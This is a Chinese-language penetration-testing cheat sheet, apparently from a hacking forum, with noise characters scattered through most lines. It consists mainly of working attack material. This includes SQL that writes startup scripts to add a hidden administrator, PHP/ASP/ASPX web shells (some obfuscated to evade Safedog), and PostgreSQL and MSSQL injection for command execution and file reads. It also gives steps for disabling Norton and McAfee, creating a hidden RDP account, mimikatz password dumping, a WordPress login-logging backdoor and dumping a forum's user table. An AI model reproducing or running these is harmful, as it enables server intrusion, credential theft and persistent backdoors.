( e% A4 } q2 n, D1 R* }insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " ); E$ |3 \! p2 r, x+ t$ ^, d
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
2 L* d5 h: } ~4 c( T( Q g( dselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
# R3 D+ {- X+ Z7 Mdrop table a;7 y3 k! i! \6 v
0 d0 X! R8 {! u! e" }0 F$ h% J$ @' A英文版本:
s. k5 ]8 e4 E: j- N! O
( I+ K0 |0 H5 A/ T! puse test;
' G( `+ S! n) v8 [' |. Lcreate table a (cmd text);
) j6 M8 d4 L1 I | z, Zinsert into a values ("set wshshell=createobject (""wscript.shell"") " );6 r4 m% U2 f( F6 p: i5 ~
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );
* `! L5 @9 `" w8 m$ B! V) q- ~insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
( _! f" t! m5 tselect * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs";! v+ `( x- O4 z5 L# K# K/ ]
drop table a;$ ~6 I3 O: ]& K% H! A
+ ?7 \9 {6 G; _ z# X: `% f6 B. D& M
create table a (cmd BLOB);
8 D- `, I. {! C. K1 E' V6 pinsert into a values (CONVERT(木马的16进制代码,CHAR));$ k, l6 |% g2 Q3 h1 _& y" [
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'" T; E3 `& g0 C2 O
drop table a;
1 y* j9 K; O& f( f
; b9 B) X9 E) W记录一下怎么处理变态诺顿
/ D/ _" V! p5 @* X8 u6 `' s' Z" V查看诺顿服务的路径3 G# G7 p7 u, T( B& g: W
sc qc ccSetMgr
6 S9 y8 X0 t/ V# @然后设置权限拒绝访问。做绝一点。。
& y1 M k* }! Xcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system5 ~ Y1 C7 ~4 L& o5 c
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"' B( h5 W+ ~* h; e1 R+ Q5 K* j* y
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators
, V) g& f) J+ m F6 P6 Qcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone
3 W: L4 v5 v! @
/ Q1 Z5 ]) ^, V, e然后再重启服务器
9 L" U+ c; p5 b' N8 Piisreset /reboot
5 W* k" ]3 L& t6 f+ K这样就搞定了。。不过完事后。记得恢复权限。。。。
% g; J- ^8 _6 d+ wcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F
& e6 J1 m. f. F, P/ ^/ E! `$ Rcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F( ?* R5 M6 K, ~( [
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F; m: Z6 H' |6 E6 `6 p) ]2 l
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F
1 {7 e' u1 `/ Z/ F& R* B! sSELECT '<%eval(request(chr(35)))%>' into [fuck] in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin, G. u0 x% E9 J
& h( Q! t' v9 \7 W- T
EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')
# V& c- h- X' y8 c
' v# X# Q. d1 V, W# {postgresql注射的一些东西2 R/ ^3 |" Y0 k! T h( l! C
如何获得webshell3 P* N: l0 ~. U; A- }8 m
http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null);
: B/ B8 U9 B) ]http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$);
. t8 g. g; l) h4 R7 fhttp://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;) p. i/ j. A4 D
如何读文件; F2 Z0 u- F( r, i( ?5 u3 O
http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);5 \9 ^2 n& i, |
http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;7 [# @. U! `6 r: h( r/ k* p
http://127.0.0.1/postgresql.php?id=1;select * from myfile; V# R2 M! M- D: J6 Z" k
5 q3 A$ T: H; s! X" r
z执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。
0 ^5 I' K p# N& a$ ~当然,这些的postgresql的数据库版本必须大于8.X$ x6 P# ]5 g- U+ f; K, S/ ?
创建一个system的函数:8 e+ z) r; t3 o$ U% F- ]9 Q; w$ W
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT( r; h5 a1 r1 a- O2 Y
! a; H+ N: Q% C @4 q2 ^
创建一个输出表:
, p0 v( B0 M4 }CREATE TABLE stdout(id serial, system_out text)
: u6 x* F7 D6 r; G$ a
9 w( w9 \0 a, X2 }7 j6 g执行shell,输出到输出表内:0 f. C* R e$ h$ g( B, I
SELECT system('uname -a > /tmp/test')% ~( d7 @& Z% i3 a" A
& R* s3 O2 O7 N# ?4 ycopy 输出的内容到表里面;1 q. j, V& ]0 R
COPY stdout(system_out) FROM '/tmp/test'
8 q) {, Y) F" P- H3 J/ b( ]9 A% A
, c. K) s( l+ _. Q$ z e& G从输出表内读取执行后的回显,判断是否执行成功) @" a2 ?/ B/ D. \/ @$ [# H1 m
* ~6 p1 C8 S0 t0 R q8 hSELECT system_out FROM stdout4 ~ D- Q$ G. \' v/ U
下面是测试例子/ ?" E! y2 Q% U8 R" U: v6 _$ E- b
/ }# T( @, P# W0 h' `
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- # q1 f& Q: c; z0 L( M( D2 K! V
* }- j8 Z$ D. L) W
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'0 ?0 K; U4 m6 L
STRICT --9 w1 W% E! h1 s! K- S1 Q
, ~$ t* f% R3 s$ v6 y/store.php?id=1; SELECT system('uname -a > /tmp/test') --
3 q6 D5 _; d! |2 }: X
+ S) j" G$ H8 M2 T! u/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
, `: V: v+ O5 H- h6 T# r- w0 B) M
O$ |; L. }7 q/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--5 X- y% b+ h& d, }; }! ?9 `
net stop sharedaccess stop the default firewall
- S6 v, i7 b& H! W8 |netsh firewall show show/config default firewall
Z+ ?4 B; V) _ O3 R2 L9 T/ ^) mnetsh firewall set notifications disable disable the notify when the program is disabled by the default firewall4 ]- o6 z) G& b2 t
netsh firewall add allowedprogram c:\1.exe Svchost add the program which is allowed by default firewall5 p1 j4 N5 E8 W
修改3389端口方法(修改后不易被扫出)
. p) J* F |+ n1 h/ s% S# a8 [修改服务器端的端口设置,注册表有2个地方需要修改: P- _4 w3 \5 n6 f6 P8 U5 ?0 f" a
; P( d: ~! u1 Q3 b! c[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp]6 t- c* [5 |# d, a( @
PortNumber值,默认是3389,修改成所希望的端口,比如60000 l! _) J1 v' v$ B: H" W
6 s7 @# e6 P, t' E6 e9 C$ y第二个地方:+ M- o* y+ P6 i2 I* }
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp]
& ?# ~; F/ n7 N' G1 G; HPortNumber值,默认是3389,修改成所希望的端口,比如6000* u; L# @# G! `
/ z! \! d: b: }# K c
现在这样就可以了。重启系统就可以了
& n, Q! ]% b+ z( \0 r
- {& {* c6 b; [ e9 y查看3389远程登录的脚本3 g/ t; f4 f+ R7 N+ Q& U; L( U
保存为一个bat文件
( J2 v. k2 L7 L8 }- Y' Q9 Udate /t >>D:\sec\TSlog\ts.log4 X& k Q$ M3 F3 @$ T. J( N
time /t >>D:\sec\TSlog\ts.log& C" u! x1 M: q5 j1 \8 I0 \
netstat -n -p tcp | find ":3389">>D:\sec\TSlog\ts.log
/ A) Y1 ^+ ^) D& bstart Explorer
& y, x+ b, l3 j' V( W
0 w5 L) Y: A+ W( U( v4 i% hmstsc的参数:
4 ?' \8 V5 p9 ^) l f6 p8 j" p3 g9 o9 @0 m7 _7 N, A0 s; n
远程桌面连接# w& S, ]1 V- u4 \( V# j9 q
3 k: {( u, J4 j! b/ H) x5 k
MSTSC [<Connection File>] [/v:<server[:port]>] [/console] [/f[ullscreen]] n0 [9 z' ~$ x( W
[/w:<width> /h:<height>] | /Edit"ConnectionFile" | /Migrate | /?4 q0 o) O& z2 ] W6 H; [
3 U5 _% I, l& V+ m% f3 |. R5 M0 E
<Connection File> -- 指定连接的 .rdp 文件的名称。
1 @& x. H* ]( S0 n
( z4 @3 C2 s7 v, o" a) Y8 c& M/v:<server[:port]> -- 指定要连接到的终端服务器。* E; P' _7 V! L- L& T9 V
- L2 ^+ B& ^ E# i3 n/ ]3 k/console -- 连接到服务器的控制台会话。
( }9 P* V# H% W1 o- b- u S' ?2 H1 q0 U4 H" a2 B
/f -- 以全屏模式启动客户端。) ^& u% R5 ?- z( c
V2 [+ R9 b7 Z
/w:<width> -- 指定远程桌面屏幕的宽度。/ t0 c2 |' U& _( w; X$ g
" v- z, g9 J$ E' S/h:<height> -- 指定远程桌面屏幕的高度。* P8 z$ U, ]) S ?) B4 v
4 M% x1 p8 I( B9 ?7 ]/ E
/edit -- 打开指定的 .rdp 文件来编辑。 I- s# x5 J3 x$ S( Z1 w
# j: R$ j0 x8 i8 l4 m D/migrate -- 将客户端连接管理器创建的旧版
' N/ ~$ \; j3 n. k( I连接文件迁移到新的 .rdp 连接文件。( f5 m( v( I0 a- p7 N- ]! p
b# V8 w8 K! W* l
o5 e7 [! h# k7 f0 N% x
其中mstsc /console连接的是session 0,而mstsc是另外打开一个虚拟的session,这样的话就是相当与另外登陆计算机。也就是说带console参数连接的是显示器显示的桌面。大家可以试试啊,有的时候用得着的,特别是一些软件就3 A6 }2 N' n3 W& F) U) a! x& C9 k! }
mstsc /console /v:124.42.126.xxx 突破终端访问限制数量
0 |3 f+ o- e8 U9 g2 g3 F5 I
& w$ @+ S6 B0 c* b5 e8 h" L3 ]6 D命令行下开启3389
/ `; u7 A! D2 ^net user asp.net aspnet /add: k; S0 }, A& t$ ~5 X
net localgroup Administrators asp.net /add
8 Q" C! Q' d( z5 A5 ]; cnet localgroup "Remote Desktop Users" asp.net /add, M6 k0 G. x# @7 e8 }" q
attrib +h "%SYSTEMDRIVE%\Documents and Settings\asp.net" /S /D
* U+ P2 V( Y( {' o iecho Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0! W) k! N4 `# O1 L
echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v AllowTSConnections /t reg_dword /d 1
/ ~0 N" X! K2 r: iecho Y | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "asp.net" /t REG_DWORD /d 00000000 /f
1 W6 W# t5 F- y# ~/ ?sc config rasman start= auto
* l, S5 B. _1 j) csc config remoteaccess start= auto
/ X: @3 Y& S7 O, ~9 \7 e9 c5 S9 W: Vnet start rasman" R4 C8 t! p& t- W# X+ _2 w
net start remoteaccess4 q% a# _- H+ D0 c+ k4 q* P
Media+ ]" B9 K U W; V& d* M- p
<form id="frmUpload" enctype="multipart/form-data"
. L: d7 d3 X+ ?! I5 |action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
4 F# X+ C( X! N0 F( g, T) s<input type="file" name="NewFile" size="50"><br>! L7 b$ e: i! Y9 n6 A" j; `
<input id="btnUpload" type="submit" value="Upload">
8 s) Q9 f3 m9 z</form>: Q S: ~% K# x* x7 \! ^& a$ o0 t# D
5 ~ ^2 \2 v( K* h3 ]6 e: {control userpasswords2 查看用户的密码# P* w$ m; J' O
access数据库直接导出为shell,前提a表在access中存在。知道网站的真实路径6 }" m% d1 z2 k' H3 e7 G# n& Q
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a
$ p) m4 ~7 K3 @* X8 ^. ?3 o6 A5 b* z6 [* _& ?
141、平时手工MSSQL注入的时候如果不能反弹写入,那么大多数都是把记录一条一条读出来,这样太累了,这里给出1条语句能读出所有数据:
5 S3 u# e% `3 B" ^1 A测试1:& |4 W0 h- B; o% l
SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1; m5 b8 W) R/ `! |' P1 y9 T A
. ]" i7 ?. G! c' J% `% ]9 N测试2:
7 r$ h$ t8 \7 R% {( I) ? G( u8 S4 n% y, i; x! P, u
create table dirs(paths varchar(100),paths1 varchar(100), id int)
2 ?8 I# l$ K( V: x" l+ ~9 `) e7 ^6 T& \9 j9 G
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--1 G7 {6 w6 m2 ]- G. u: S
7 o- P/ b# y! j- F& g2 O$ B( dSELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1
9 }! g- _ J( b1 \关闭macfee软件的方法://需要system权限,请使用at或psexec –s cmd.exe命令% F9 s8 Z7 Z5 G* i- v$ n$ ?& f* ]5 x
可以上传.com类型的文件,如nc.com来绕过macfee可执行限制;
! X' a4 @6 t1 Z. G* Q/ O5 qnet stop mcafeeframework' P; s0 S( A' c% Y
net stop mcshield
. r# ^; u4 D4 rnet stop mcafeeengineservice' t l! i$ w+ c9 H: P
net stop mctaskmanager2 h; N: U ^( c) W2 t
http://www.antian365.com/forum.p ... DU5Nzl8NDY5Mw%3D%3D$ O9 N& b) M T( s" B# M# D3 J) w+ U
6 N1 a: t I3 e% l- J VNCDump.zip (4.76 KB, 下载次数: 1) / f4 G6 {' S( u" A/ B: }6 @
密码在线破解http://tools88.com/safe/vnc.php: v% Y7 Z0 X! D5 i7 F# O
VNC密码可以通过vncdump 直接获取,通过dos查询[HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4] 下的Password也可以获取' t6 w0 s: I* {( G5 z
6 ? j8 e; ?( y+ z
exec master..xp_cmdshell 'net user'( ?5 @; F* P$ O
mssql执行命令。
! D' ^0 r2 G# P7 D- P2 e获取mssql的密码hash查询
/ J# G: W' H% } w( Z7 {3 hselect name,password from master.dbo.sysxlogins
2 j2 s" c0 z. ]; P! l. |5 h! B( @. j6 m' _( I4 {8 w
backup log dbName with NO_LOG;- T0 _2 y, }( e- x5 r9 n5 b- [
backup log dbName with TRUNCATE_ONLY;
, D6 ^5 n5 b$ Y5 S: NDBCC SHRINKDATABASE(dbName);
: b Z+ _# u3 x Q! z* b* ~mssql数据库压缩* P' @1 [4 C r- X; r1 y$ e
6 X4 m! L& G) o: H2 b* ^- A
Rar.exe a -ep1 -m0 -v200m E:\web\1.rar E:\webbackup\game_db_201107170400.BAK H+ Y/ K( z% G/ g- l( Z
将game_db_201107170400.BAK文件压缩为1.rar,大小为200M的分卷文件。8 B& G2 ^5 Z' `
K6 b# o4 K% l( g \# _: W
backup database game to disk='D:\WebSites\game.com\UpFileList\game.bak'
) R' b: w0 a6 l9 |- k- d$ X备份game数据库为game.bak,路径为D:\WebSites\game.com\UpFileList\game.bak
n9 m5 k0 a: Y, ?" j- W5 J Y O% l. v5 C
Discuz!nt35渗透要点:4 H& i; X+ w9 R7 U* r( j
(1)访问 网站地址/admin/global/global_templatesedit.aspx?path=../tools/&filename=rss.aspx&templateid=1&templatename=Default9 o' d l, d8 X; k7 | [" y$ Z
(2)打开rss.aspx文件,将<%@ Page Inherits="Discuz.Web.UI.RssPage" %>复制到本地备份,然后替换其为<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
+ `: ^3 U- t/ m1 p(3)保存。
$ o. b$ p: }5 J(4)一句话后门地址http://somesite.com.cn/tools/rss.aspx 密码为pass( r9 {2 E& d V. Z! c5 z
d:\rar.exe a -r d:\1.rar d:\website\: H6 o }; z! Q9 M: T1 u
递归压缩website- @' @# Q, [6 }+ }8 z# O0 P$ X9 s
注意rar.exe的路径; Y/ \9 [5 P6 q- M e
6 ^5 p, \' S2 c! R, i
<?php& R e* N c6 @2 R2 I1 ?5 l% J
+ {3 E3 O4 c9 W [# Y$ m
$telok = "0${@eval($_POST[xxoo])}";
- i* `" }* i% j! L" X' L& o1 c$ L
2 p0 l# ^8 F+ S) f$username = "123456";
1 Q/ G( u+ k8 {8 B9 g& K! A
/ z5 u% z2 _8 c9 \% \' ]% z& U$userpwd = "123456";
5 h8 C% A8 M' t% Y, P m: ]9 H q/ B
$telhao = "123456";9 z& p! @" K; T1 A
) o; O% A ~/ v( C; ~ d9 b' t
$telinfo = "123456";. D. d v; P* v- h x/ {, @
: h- ^, c3 m" j" n
?>7 z& W8 U4 P- R B J, l' j! D
php一句话未过滤插入一句话木马6 [: _9 l0 z# o! \1 A, x7 f
# P5 ~9 j( T+ f
站库分离脱裤技巧" h0 z8 X* B- |1 W% ]6 H
exec master..xp_cmdshell 'net use \\xx.xx.xx.xx\d$\test "pass" /user:"user"'
! F' a& P8 |9 D1 B3 xexec master..xp_cmdshell 'bcp test.dbo.test out \\xx.xx.xx.xx\d$\test\1.txt -c -Slocalhost -Uuser -Ppass'6 R' z" ]" G. e" i! ?. U
条件限制写不了大马,只有一个一句话,其实要实现什么完全够了,只是很不直观方便啊,比如tuo库。/ c& S+ L# D4 h$ z4 F; t2 ]8 }. ~
这儿利用的是马儿的专家模式(自己写代码)。9 m6 i7 a/ e# p p5 x3 M
ini_set('display_errors', 1);; X( Y- p1 f" q, W8 p
set_time_limit(0);4 i9 O& |$ h3 t# Q* b
error_reporting(E_ALL);
5 }" l0 O7 L% B8 i8 L$connx = mysql_connect(":/var/tmp/mysql.sock", "forum", "xx!!xx3") or die("Could not connect: " . mysql_error());
# A; e Q% _( k( y3 O. u+ c/ x; X, Bmysql_select_db("discuz",$connx) or die("Could not connect: " . mysql_error());2 x; P6 a! K8 N/ n- p, E) ^" E7 }
$result = mysql_query("Select * FROM members",$connx) or die("Could not connect: " . mysql_error());
' [- O' d7 E+ a" F5 q$i = 0; M" v6 I: g) e& K2 s( z7 J
$tmp = '';" W0 P! u! Y6 c7 V8 Z* G
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {8 X2 `7 H$ n+ B* p( a5 `: H7 C- y
$i = $i+1;2 l9 A. r2 x$ {3 i: T* Z9 \' B
$tmp .= implode("::", $row)."\n";. a6 l; d5 r/ Z/ R/ y* J
if(!($i%500)){//500条写入一个文件, ?( `2 r8 N% X' l/ [
$filename = '/home/httpd/bbs.xxxxx/forumdata/cache/user'.intval($i/500).'.txt';8 m; y2 m/ \5 y' x2 b
file_put_contents($filename,$tmp);; U/ I3 w& B$ I# _7 e; M
$tmp = '';4 ~6 e6 f! o$ A# L7 C9 c$ q$ G3 H5 x
}
% P4 K* M' @5 L. U% h+ s}
1 _6 ~4 E) V" \8 p. `mysql_free_result($result);) x! B" y" B1 g1 @2 E/ {1 l
/ e1 v- x2 p9 n9 G; m/ k- Y; F6 l; P; ~% d0 Q# A
; p; C; i& B1 [: d4 f//down完后delete
/ u; Y0 ]9 K9 g) L5 s$ b! K6 d- h; G1 @8 }8 S
: x4 Q# O# Y, X. A1 y4 _
ini_set('display_errors', 1);9 t# {) [) U! B2 H$ e& D% y
error_reporting(E_ALL);; L% F; K8 Y7 G; h' a/ ]
$i = 0;+ s4 M2 m( `" S6 w+ J1 L, W
while($i<32) {2 _7 u* |2 I/ l2 c
$i = $i+1;
) g: q, L" [" X6 o! G4 y3 o2 m $filename = '/home/httpd/bbs.xxxx/forumdata/cache/user'.$i.'.txt';% _* w, I# [# f8 R8 r
unlink($filename);0 i$ D: u7 S: Y1 @2 z& P" V6 m
}
" I7 L! ]* G0 {7 bhttprint 收集操作系统指纹- u) F, X1 y- q4 l) @1 a
扫描192.168.1.100的所有端口7 Z3 D" f: A9 Y1 A9 M& p
nmap –PN –sT –sV –p0-65535 192.168.1.1007 w" h+ y3 ?9 X
host -t ns www.owasp.org 识别的名称服务器,获取dns信息& F. E; @. [$ c4 w7 h5 \( k
host -l www.owasp.org ns1.secure.net 可以尝试请求用于owasp.org的区域传输
2 O3 N! H _% _. t7 O3 G% qNetcraft的DNS搜索服务,地址http://searchdns.netcraft.com/?host H; n- V- K7 g6 x* \, a2 J! A/ I
8 a' o, a0 K3 U* RDomain tools reverse IP: http://www.domaintools.com/reverse-ip/ (需要免费注册); z) I# l9 e# ^) ^& S
& {% W# {. g9 K
MSN search: http://search.msn.com 语法: "ip:x.x.x.x" (没有引号)6 v5 @& J( @) K" G9 F
3 E0 \2 F$ T$ Q- ]/ w Webhosting info: http://whois.webhosting.info/ 语法: http://whois.webhosting.info/x.x.x.x
2 i* _- `6 f2 O) C& L
4 g% K6 W) t& Y2 x0 Y* g DNSstuff: http://www.dnsstuff.com/ (有多种服务可用)
* }7 _) Q, K* @- Q; S4 Y* U4 S) B4 }& |
http://net-square.com/msnpawn/index.shtml (要求安装)
3 c) L% {& L; H2 d5 h7 z. p- W E d1 k3 h
tomDNS: http://www.tomdns.net/ (一些服务仍然是非公开的)
6 }0 N( z/ y; W/ J& Q
" n% l/ k' y0 r# l4 f" { SEOlogs.com: http://www.seologs.com/ip-domains.html (反向IP/域名查找)$ t: `) d. e0 ~: {
set names gb2312
! t7 [) q) I& J) l导入数据库显示“Data too long for column 'username' at row 1”错误。原因是不支持中文。* q1 H8 H. i: f
" {- _2 M3 ]7 W2 G2 C" c
mysql 密码修改; M% E1 o, c7 K L2 N' Q
UPDATE mysql.user SET password=PASSWORD("newpass") whereuser="mysqladmin ”
5 ?* ?: c$ h7 m* Fupdate user set password=PASSWORD('antian365.com') where user='root';3 H: B- Q$ ?" a' q$ q
flush privileges;
; ]0 n; g; r0 e' p* x" P; G+ r高级的PHP一句话木马后门3 r& v% `$ D* u! D+ s
' \" V9 A# Z, S L4 Y0 B% ~. a入侵过程发现很多高级的PHP一句话木马。记录下来,以后可以根据关键字查杀( t: P7 O2 n9 N/ g
9 ^2 F5 u0 {& [6 s
1、
# j* @9 ^2 E# x. V7 q) v( k0 Z/ [+ y+ T8 w0 k" Y' [5 b8 D1 @/ v
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";+ b* W6 ^+ ?* K) p/ E( m
) j* D/ c- t& V! z5 K* F$hh("/[discuz]/e",$_POST['h'],"Access");6 l) G& \ N9 {7 J2 {
5 X, R5 Y9 |" D* V
//菜刀一句话
# h9 q- O% C2 Y& h" w" B. z: l4 N7 v# J# o% M+ T: H
2、 V$ m& |1 e. {/ i
9 P/ V7 Q# R/ \
$filename=$_GET['xbid'];* |! {2 e0 }9 G8 c; }
8 Y3 I$ o' d# r
include ($filename);1 C5 h* ^7 S. i8 H/ O& V3 ~
7 f( u# ^$ F+ D9 ?/ i7 R//危险的include函数,直接编译任何文件为php格式运行7 T: X+ ^7 ?) C J- \
$ V: |3 J; f1 ^8 q! K3、
6 J# f' x9 B; ]/ R8 L: ~' E6 V3 s' m% m
$reg="c"."o"."p"."y";
1 b* a$ f. l. a3 H; F0 H. D: _( t! ?% z
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);$ U+ w! \3 ^& U; [
6 p$ K# l1 D. j8 m. s0 n
//重命名任何文件
- o! d# m0 q* i% h( t8 K. Z9 N! r* t5 d
4、
5 q" N1 F4 E4 P* h
/ J! ?3 ]% l5 N3 ^# D$ s$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
, Z: A0 U. N7 S/ P* v0 ]" I% m3 i
4 F( V8 k" A: w8 l7 }7 |- U$gzid("/[discuz]/e",$_POST['h'],"Access");
* V. K! n$ D1 p3 @, E/ S& `. A3 ~, L, D, j. ^' H
//菜刀一句话; Z Q! K6 v7 A4 S
s" N, N- U: N) l: _
5、include ($uid);& [1 O8 G4 |; n& S/ Z/ S
7 O; c3 a7 D& c- D/ U1 }8 t
//危险的include函数,直接编译任何文件为php格式运行,POST % D4 ]9 e; E) `: K5 E5 ^
' L; c7 w+ _8 O6 _/ Q
$ H z5 ? i& z$ j6 {//gif插一句话
! h- f, A$ |/ b6 H1 n. t l' K" \5 J5 V! J% I5 i5 K! q0 y0 F% ^
6、典型一句话
2 |# a) c7 V$ }2 h- ~/ z1 i$ B7 p& R& l
程序后门代码
) Z, l1 D1 L8 M<?php eval_r($_POST[sb])?>& [7 x6 |8 g( h; j1 \5 e
程序代码8 }9 f3 L- S4 ]# U* _2 _! w' E
<?php @eval_r($_POST[sb])?> G/ f0 Z* G0 f/ M
//容错代码
2 Y: z+ J% b* ]) X/ G7 T$ z程序代码5 R" u/ p, t N2 v7 n2 A/ ]$ q
<?php assert($_POST[sb]);?>
9 q# ]% |# V6 @7 v7 _8 i//使用lanker一句话客户端的专家模式执行相关的php语句
4 c. f4 D j4 W: y G/ x; i程序代码
: `( ]7 f C$ M J<?$_POST['sa']($_POST['sb']);?>- f- p% J& `$ B. c: E
程序代码
% Z4 a5 ?0 V+ X0 x8 V" D, j<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
3 |2 u/ e4 b- ~( S# {5 O程序代码
; w# t O% D+ D) {1 q# d; v9 a<?php
, `' @" t/ Y1 U$ {' W. |: U@preg_replace("/[email]/e",$_POST['h'],"error");* K) h1 P* O' n. d z5 g7 b
?>, d2 p' ^5 F8 ~: d
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入/ a6 @" _. m- t% d& k0 e* F% V
程序代码5 G9 b. X Z* K! T
<O>h=@eval_r($_POST[c]);</O>
6 F# \* ?; L4 l程序代码
* D% _ K a% X% T. f# G) I5 E<script language="php">@eval_r($_POST[sb])</script>+ z; G8 Z1 x$ X( y9 V2 d
//绕过<?限制的一句话/ y2 b# `9 T) f$ d2 c" h
/ o1 m8 ]- U0 F* z$ Z+ H
http://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip
( t @' K/ V. O2 F详细用法:& O! k( g' {# R- [/ i W ]
1、到tools目录。psexec \\127.0.0.1 cmd% }6 T5 _7 d/ U1 `
2、执行mimikatz
8 a9 n ?( l: k, l3 p9 _( Q; y3、执行 privilege::debug! J' T! E* @/ ^& I& D2 @! ?/ U
4、执行 inject::process lsass.exe sekurlsa.dll7 X" l' ?* h, g8 R: S) y
5、执行@getLogonPasswords
( a" T3 {8 i3 s6、widget就是密码% W+ n2 A' L+ R M$ t' @
7、exit退出,不要直接关闭否则系统会崩溃。 P/ o, c* ]: Z/ i
' \! G+ D. K# Z1 ^
http://www.monyer.com/demo/monyerjs/ js解码网站比较全面
6 V9 S) ?0 h. ?
& e) U- _# {; D自动查找系统高危补丁
. b/ A5 }8 E7 b8 ]$ c9 fsysteminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt0 h: z. @& }: p% x& r/ J
/ s" ~7 h2 }$ M4 L! n( z( P; Y3 E突破安全狗的一句话aspx后门
; j+ ~% u% U- D- J/ T7 u$ {9 k; _<%@ Page Language="C#" ValidateRequest="false" %>. g' |" s0 a! ]2 a, }
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
' U5 t, K+ K( `% K" l8 o( u' x7 t# Rwebshell下记录WordPress登陆密码
$ u# Z, S4 u; C7 b: E( l0 e7 q0 Qwebshell下记录Wordpress登陆密码方便进一步社工0 B" [2 B. V; W: F3 @3 M
在文件wp-login.php中539行处添加:) o6 }9 W& c4 @$ g
// log password+ \4 n/ j |- L8 l: A$ D9 l
$log_user=$_POST['log'];+ L/ R9 K$ F7 f7 e2 v& ?
$log_pwd=$_POST['pwd'];- i2 I5 a$ I; \0 f' z, f: E
$log_ip=$_SERVER["REMOTE_ADDR"];' ^- K! D4 f! y
$txt=$log_user.’|’.$log_pwd.’|’.$log_ip;
7 a3 ]) h/ j1 v$txt=$txt.”\r\n”;
) E" ^$ B c* V" R/ bif($log_user&&$log_pwd&&$log_ip){
0 v) ^# Y3 C' B0 W3 e4 b+ H$ `@fwrite(fopen(‘pwd.txt’,”a+”),$txt);6 `$ L9 ~4 r# k2 F0 d0 L. X2 _
}
) _6 z7 b+ s: o% D/ q当action=login的时候会触发记录密码code,当然了你也可以在switch…case..语句中的default中写该代码。9 t' H" H; C( ~
就是搜索case ‘login’
' f4 L0 |6 c) u; b4 {% t在它下面直接插入即可,记录的密码生成在pwd.txt中,! _- L1 M, Z4 Y& r$ y; Y$ }* V
其实修改wp-login.php不是个好办法。容易被发现,还有其他的方法的,做个记录
% B; g: a0 Y. b% A利用II6文件解析漏洞绕过安全狗代码:* v6 I7 m$ y, B3 c, p
;antian365.asp;antian365.jpg; M9 Y+ S# B U9 [
4 s7 I$ i8 i! n: M) p各种类型数据库抓HASH破解最高权限密码!
8 l$ ^/ T# k3 a! ^1.sql server2000
